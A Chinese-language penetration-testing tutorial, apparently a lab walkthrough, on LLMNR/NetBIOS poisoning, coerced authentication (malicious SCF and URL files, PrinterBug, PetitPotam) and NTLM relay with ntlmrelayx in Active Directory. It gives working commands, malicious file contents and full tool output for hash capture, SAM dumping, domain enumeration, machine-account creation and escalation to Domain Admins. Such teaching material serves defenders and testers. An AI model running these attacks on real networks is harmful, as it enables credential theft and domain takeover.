中毒与中继攻击
NetBIOS 和 LLMNR 中毒理论
NetBIOS-NS (NetBIOS Name Service) 和 LLMNR (Link-Local Multicast Name Raesolution) 是用于在 DNS 解析失败时为同一本地链路上的主机执行名称解析的协议,它们在现代 Windows 计算机上默认启用。在现代企业网络中,虽然 DNS 被大量使用,但有时由于配置错误、DNS 表不完整、服务器不可用等原因,它无法按预期工作。NetBIOS-NS 和 LLMNR 作为替代名称解析协议填补了这一空白。当主机请求网络资源时,为了识别目标资源并发送网络流量,将按顺序执行以下查询,直到识别出名称:
1:请求是否针对计算机本身
2:该名称是否存在于缓存中或在本地 hosts 文件中
3:在 DNS 服务器中查找记录
4:如果启用了 LLMNR,则通过本地链路广播 LLMNR 查询
5:如果启用了 NetBIOS,则通过本地链接广播 LLMNR 查询
LLMNR 和 NetBIOS-NS 查询将被广播,如果主机识别主机名并知道其 IP 地址,主机将响应,攻击者可以通过恶意响应受害者计算机来利用该过程。下图演示了攻击
1:用户想要访问指定网络资源但输错了主机名
2:DNS 服务器 (DC) 查该找主机名,但在 DNS 记录中不存在
3:广播 LLMNR/NetBIOS-NS 查询
4:攻击者通过响应受害者工作站伪装成所需的网络资源
5:受害者主机对攻击者进行身份验证
让我们手动复现利用过程。可用于此目的的最常用工具是 Responder 和 Inveigh (https://github.com/Kevin-Robertson/Inveigh)。在内网渗透中,Responder 会更常用,但考虑到我们的攻击主机并不在内网中,因此我们可以在受害主机上使用 Inveigh,并且因为 Inveigh 是 C# 编写的,我们甚至可以做到文件不落地。
考虑到 CobaltStrike 并非是交互式的,出于教学目的,我们还是在本地运行该工具。我们可以查看该工具的文档来了解默认启用和禁用的选项。直接运行 Inveigh 的话,我们发现 Inveigh 开启了多个 Rogue 服务器。不像 Linux,SMB 对于 Windows 是默认且重要的服务之一,因此 Inveigh 则是对其进行了嗅探 (在 Linux 主机上开启 Responder 的话,会开启 Rogue SMB 服务器)。
如输出所示,我们可以进入交互式控制台执行特定命令,例如查看已经捕获到的哈希。
在 file01 主机上,以 prod\alice 身份访问一个不存在的网络服务,如 \\donotexist
很快,Inveigh 就捕获到了 alice 的 NetNTLMv2 哈希。该哈希不可以被直接用于 PTH,但我们可以使用hashcat 或者 John 破解哈希来获得明文密码 (虽然我们已经知道 alice 的明文密码了)。
这里,我们使用 John 来破解hash,命令如下:
john --format=netntlmv2 <存储哈希的文件> --wordlist=<字典文件>
这里,我们是成功恢复了明文密码。但如果密码强度足够高,我们最终可能无法恢复明文密码。
强制认证
我们手动复现了攻击者如何使本地链路中毒并窃取其他用户的凭证,出于演示目的,我们在 File01 上扮演了受害用户 alice,并错误地输入了一个不存在的网络资源。在真实场景中,虽然这种情况还是会不时发生 (只要时间足够长,总能获得高权限用户的哈希),但这毕竟是我们不能依赖的随机事件。我们当然也可以对用户进行社会工程学攻击以诱导他们访问不存在的网络资源,然而,最好的办法是让用户在他们不知情的情况下访问不存在的资源,并窃取到他们的凭证,这种技术被称为强制认证。
SCF 文件
SCF 文件是 Windows 资源管理器命令文件,用于定义可在 Windows 资源管理器中执行的自定义命令。这些文件是使用文本编辑器创建的,并包含按照命令在文件中列出的顺序执行的命令列表。SCF 文件中的命令可以执行各种任务,例如打开程序、运行脚本或执行系统操作。我们可以在 \\file01\tools 这个公开 SMB 目录中创建一个恶意 SCF 文件 coerion.scf。恶意文件的内容可以如下:
[Shell]
Command=2
IconFile=\\web03\shared\pic.ico
[Taskbar]
Command=ToggleDesktop
IconFile 的位置指向一个不存在的 SMB 共享目录,因此当任何域用户使用 Windows 资源管理器访问该目录时,我们将获取该用户的哈希。 例如在Srv01上以 prod\sql_service 登录,打开Windows资源管理器访问 \\file01\tools,于是在用户不知情的情况下,我们获取了 svc_sql 的 NetNTLMv2 哈希。
URL 文件
URL 文件是存储网页/网站快捷方式的文件。这些文件通常在 Windows 操作系统中用于在桌面或开始菜单中创建网页的快捷方式,当用户单击 url 文件时,默认网络浏览器会打开网页。URL 文件类似于 html 文件,但并不用于存储网页的实际内容。相反,它们包含对网站的引用以及任何其他信息,例如网页标题或快捷方式的位置。
同样的,在 \\file01\tools 中创建 coerion.url 文件,然后以认证的用户身份来访问该目录。
[InternetShortcut]
URL=https://google.com
IconIndex=0
IconFile=\\web03\shared\web.ico
这次,我们以 white-bird\Administrator 的身份在 Dc05 上访问该目录,于是在用户不知情的情况下,我们获得了域管理员的 NetNTLMv2 哈希。
其他
除了 SCF 文件和 URL 文件之外,例如 doc 文档中的超链接、电子邮件中的图像、lnk Windows 快捷方式文件等都可以触发强制认证。其实原理是一样的,这些文件都具有指向不存在资源的属性。而触发强制认证的方式也可以不同,例如打开 Windows 资源管理器访问可读的 SMB 共享、检查电子邮件,或只是打开doc文档。总之,在内网中,中毒攻击会十分有效。
远程强制认证
尽管上述的强制身份验证技术使 LLMNR\NetBIOS-NS 中毒攻击更加有效,但我们更喜欢以目标为中心且更少依赖于机遇的技术,而远程强制认证正是我们所寻找的技术。大多数远程强制认证依赖于 MS-RPC 协议,例如 MS-RPRN 和 MS-EFSR。
* 可能因为工具实现的差异,Inveigh 并不能捕获到主机账户的哈希 (但能看到强制认证是成功的,因为检测到了请求)。出于演示与原理教学的目的,我在 Web01 上安装了 Responder。但在目标的受害主机中发现 Responder 这样的攻击性工具是不现实的,而如果在受害主机上下载安装 Responder 更是疯狂。
在 Web01 上运行 Responder,指定网卡接口
我们可以在配置文件 Resonder.conf 中调整各项配置,例如决定建立哪些服务的 Rogue 服务器、指定挑战的数值等。
MS-RPRN PrinterBug
Print Spooler 是 Windows 操作系统中管理打印过程的服务,而 PrintBug 是一种远程强制验证强制技术,它利用 MS-RPRN 协议从而强制其他主机对攻击者控制的主机进行认证,但此缺陷是不会被修复的 (设计如此),并且默认情况下在所有 Windows 环境中启用。我们可以使用强制认证类工具,例如 SpoolSample.exe (https://github.com/leechristensen/SpoolSample)来实现。这里,我们强制 Dc01 向 Web01 认证:
于是,Responder 捕获了 Dc01 主机帐号的 NetNTLMv2 哈希,考虑到主机账号密码的强度,虽然我们并不能字典破解该哈希,但足以证明强制认证是成功的。
MS-EFSR PetitPotam
MS-EFSR 是 Microsoft 的加密文件系统远程协议,它对远程存储并通过网络访问的加密数据执行维护和管理操作。它的利用与 PrinterBug 非常相似,但它允许未认证的用户强制域控制器对攻击者主机进行认证。我们可以使用工具 PetitPotam (https://github.com/topotam/PetitPotam) 来实现。因为不需要经过域认证,因此我们可以在自己的 VM 上,执行命令 proxychains python3 petitpotam.py 172.16.1.12 172.16.1.21。第 1 个 IP 是 Responder 运行的主机 IP,第 2 个是要强制认证的主机。
并且 Responder 捕获了 Dc02 主机帐号的 NetNTLMv2 哈希。
中继攻击
在之前的攻击中,我们能够获取用户或主机帐号的 NetNTLMv2 哈希。 然而,我们并不总是幸运到能破解这些哈希从而恢复明文密码。我们同样不能将这些哈希用于哈希传递认证,但这些哈希可以被用于 AD 中的中继攻击,我们并不需要知道它们的明文密码。 在中毒攻击中,我们只是获取哈希并尝试破解它们,而在中继攻击中,我们的 Rogue 服务器将获得的哈希直接中继到其他主机或协议。成功的中继攻击可以帮助我们远程导出凭证、枚举 Active Directory、提升权限等,就像是获得了认证一样。我们将使用 Impacket 中的工具 ntlmrelayx。
出于教学目的,在 PROD 域新增了用户 prod\servermgr,密码为 Summer2024!。该用户对 Srv01 以及 File01 具有本地管理员特权。
导出凭证
如果我们不为 ntlmrelayx 指定其他设置,它将远程导出目标主机 SAM 中的凭证。 在 VPS 或者 VM 上运行 Impacket 中的 ntlmrelayx 开启监听:
proxychains python3 impacket/examples/ntlmrelayx.py -t smb://<目标主机> -smb2support --no-http-server --no-wcf-server
如图所示,我们将认证流中继到了 File01。在 Srv01 上,我们以 prod\servermgr 登陆,访问 ntlmrelayx 所开启的 Rogue 监听器,尽管这个 UNC 路径不是有效的,但不妨碍我们将 servermgr 用户在 File01 上对攻击机 Rogue 监听器的认证流中继给了 File01。
因为要导出目标主机的凭证,因此受害用户应在目标服务器 File01 上需要具有本地管理员权限。此外,很重要的一点是,我们无法使用相同的协议将认证流中继回原计算机 (在 2008年之前,是可以中继回原主机的,也就是 MS08-068 漏洞),这就是为什么我们是将 SMB 协议认证流中继给了 File01 而不是 Srv01。幸好 servermgr 在 File01 上也是本地管理员,也就是我们希望受害者主机尽可能是高特权用户,即在多台主机上都具有本地管理员权限,最好是域管理员。
此外,只有在目标计算机上禁用了 SMB 签名时,SMB 中继才可以成功。默认情况下,域主机是禁用了 SMB 签名的,但是域控制器则默认启用。我们可以用 CME 来验证目标是否开启了 SMB 签名,我们可以看到,域控制器是启用的,而其他域主机则默认禁用。
AD 枚举
如果认证的数据被中继到域控制器上的 LDAP/LDAPS 服务,我们就能够枚举 AD 了 但是,将 SMB 数据流中继到 LDAP 服务器通常是不可行的的,因为域控制默认启用了 SMB 签名。 运行 ntlmrelayx 执行命令 proxychains python3 impacket/examples/ntlmrelayx.py -t ldap://172.16.1.15 --no-da --no-acl --lootdir relay 当中继成功时,ntlmrelayx 在不提升权限和利用 ACL 的情况下枚举域。 当受害者用户 svc_sql 访问我们的rogue HTTP 服务器时,会话将中继到 DC01 上的 LDAP 服务器。
└─# proxychains python3 impacket/examples/ntlmrelayx.py -t ldap://172.16.1.15 --no-da --no-acl --lootdir relay
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.0.100, attacking target ldap://172.16.1.15
[*] HTTPD: Client requested path: /
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.1.15:389 ... OK
[*] HTTPD: Client requested path: /
[*] Authenticating against ldap://172.16.1.15 as DEV\svc_sql SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!
中继攻击完成后,我们可以找到导出的信息。
└─# ls -al
total 232
drwxr-xr-x 2 root root 4096 Dec 4 14:42 .
drwxr-xr-x 20 root root 4096 Dec 4 14:42 ..
-rw-r--r-- 1 root root 2932 Dec 4 14:42 domain_computers_by_os.html
-rw-r--r-- 1 root root 1155 Dec 4 14:42 domain_computers.grep
-rw-r--r-- 1 root root 2606 Dec 4 14:42 domain_computers.html
-rw-r--r-- 1 root root 16700 Dec 4 14:42 domain_computers.json
-rw-r--r-- 1 root root 9454 Dec 4 14:42 domain_groups.grep
-rw-r--r-- 1 root root 15698 Dec 4 14:42 domain_groups.html
-rw-r--r-- 1 root root 75980 Dec 4 14:42 domain_groups.json
-rw-r--r-- 1 root root 248 Dec 4 14:42 domain_policy.grep
-rw-r--r-- 1 root root 1144 Dec 4 14:42 domain_policy.html
-rw-r--r-- 1 root root 5279 Dec 4 14:42 domain_policy.json
-rw-r--r-- 1 root root 167 Dec 4 14:42 domain_trusts.grep
-rw-r--r-- 1 root root 982 Dec 4 14:42 domain_trusts.html
-rw-r--r-- 1 root root 1712 Dec 4 14:42 domain_trusts.json
-rw-r--r-- 1 root root 13501 Dec 4 14:42 domain_users_by_group.html
-rw-r--r-- 1 root root 3151 Dec 4 14:42 domain_users.grep
-rw-r--r-- 1 root root 8188 Dec 4 14:42 domain_users.html
-rw-r--r-- 1 root root 31718 Dec 4 14:42 domain_users.json
┌──(root㉿kali)-[~/Desktop/relay]
└─# cat domain_users.json
[{
"attributes": {
"accountExpires": [
"9999-12-31 23:59:59.999999+00:00"
],
"badPasswordTime": [
"1601-01-01 00:00:00+00:00"
],
"badPwdCount": [
0
],
"cn": [
"frank"
],
"codePage": [
0
],
"countryCode": [
0
],
"dSCorePropagationData": [
"1601-01-01 00:00:00+00:00"
],
"description": [
"External domain admin"
],
"displayName": [
"frank"
],
"distinguishedName": [
"CN=frank,CN=Users,DC=dev,DC=raven,DC=local"
............
创建主机帐号
我们还可以将认证数据流中继到 LDAPS 服务器以创建新的主机帐户。 创建计算机账户是RBCD 利用的一部分,每个域用户和计算机账户默认最多可以添加10个主机。
运行 ntlmrelayx 执行命令 proxychains python3 impacket/examples/ntlmrelayx.py -t ldaps://172.16.1.15 --add-computer 'relay$'
当受害用户 svc_sql 访问我们的 rogue HTTP 服务器时,会话将中继到 DC01 的 LDAPS 服务器,并创建了主机帐户 relay$。
└─# proxychains python3 impacket/examples/ntlmrelayx.py -t ldaps://172.16.1.15 --add-computer 'relay$'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.0.100, attacking target ldaps://172.16.1.15
[*] HTTPD: Client requested path: /
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.1.15:636 ... OK
[*] HTTPD: Client requested path: /
[*] Authenticating against ldaps://172.16.1.15 as DEV\svc_sql SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Attempting to create computer in: CN=Computers,DC=dev,DC=raven,DC=local
[*] Adding new computer with username: relay$ and password: +z)9ZK<e/D}N'75 result: OK
特权提升
如果被中继的用户具有强大的权限,我们可以用于提升特定用户的特权。運行 ntlmrelayx 执行命令 proxychains python3 impacket/examples/ntlmrelayx.py -t ldaps://172.16.1.15 --escalate-user 'relay$' ,我们想要提升之前创建的主机帐号 relay$ 的特权。 我们模拟域管理员 dev\Administrator 访问 rogue HTTP 服务器并向其进行身份验证的场景。
中继完成后,该主机帐户的特权得到了提升。
└─# proxychains python3 impacket/examples/ntlmrelayx.py -t ldaps://172.16.1.15 --escalate-user 'relay$'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 192.168.0.100, attacking target ldaps://172.16.1.15
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from 192.168.0.61, attacking target ldaps://172.16.1.15
[-] Exception in HTTP request handler: 'HTTPHandler' object has no attribute 'headers'
[*] HTTPD: Received connection from 192.168.0.61, attacking target ldaps://172.16.1.15
[*] HTTPD: Client requested path: /api/oauth/api.html?h=25899r782&vs=2o9f423395
[*] HTTPD: Client requested path: /
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.16.1.15:636 ... OK
[*] HTTPD: Client requested path: /
[*] Authenticating against ldaps://172.16.1.15 as DEV\administrator SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{
Mask:{
Mask: {983551}
}
Sid:{
Revision: {1}
SubAuthorityCount: {5}
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00\xde\xeb\xe6\xa3\xdf\x17v\xec\x8d\xa4\xfds\x00\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{
Mask:{
Mask: {983551}
}
Sid:{
Revision: {1}
SubAuthorityCount: {5}
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00\xde\xeb\xe6\xa3\xdf\x17v\xec\x8d\xa4\xfds\x00\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{
Mask:{
Mask: {983551}
}
Sid:{
Revision: {1}
SubAuthorityCount: {5}
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00\xde\xeb\xe6\xa3\xdf\x17v\xec\x8d\xa4\xfds\x00\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{
Mask:{
Mask: {983551}
}
Sid:{
Revision: {1}
SubAuthorityCount: {5}
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00\xde\xeb\xe6\xa3\xdf\x17v\xec\x8d\xa4\xfds\x00\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{
Mask:{
Mask: {983551}
}
Sid:{
Revision: {1}
SubAuthorityCount: {5}
IdentifierAuthority:{
Value: {b'\x00\x00\x00\x00\x00\x05'}
}
SubLen: {20}
SubAuthority: {b'\x15\x00\x00\x00\xde\xeb\xe6\xa3\xdf\x17v\xec\x8d\xa4\xfds\x00\x02\x00\x00'}
}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Domain Admins)
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User relay$ now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20221204-150234.restore
[*] Adding user: relay to group Domain Admins result: OK
[*] Privilege escalation succesful, shutting down...
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!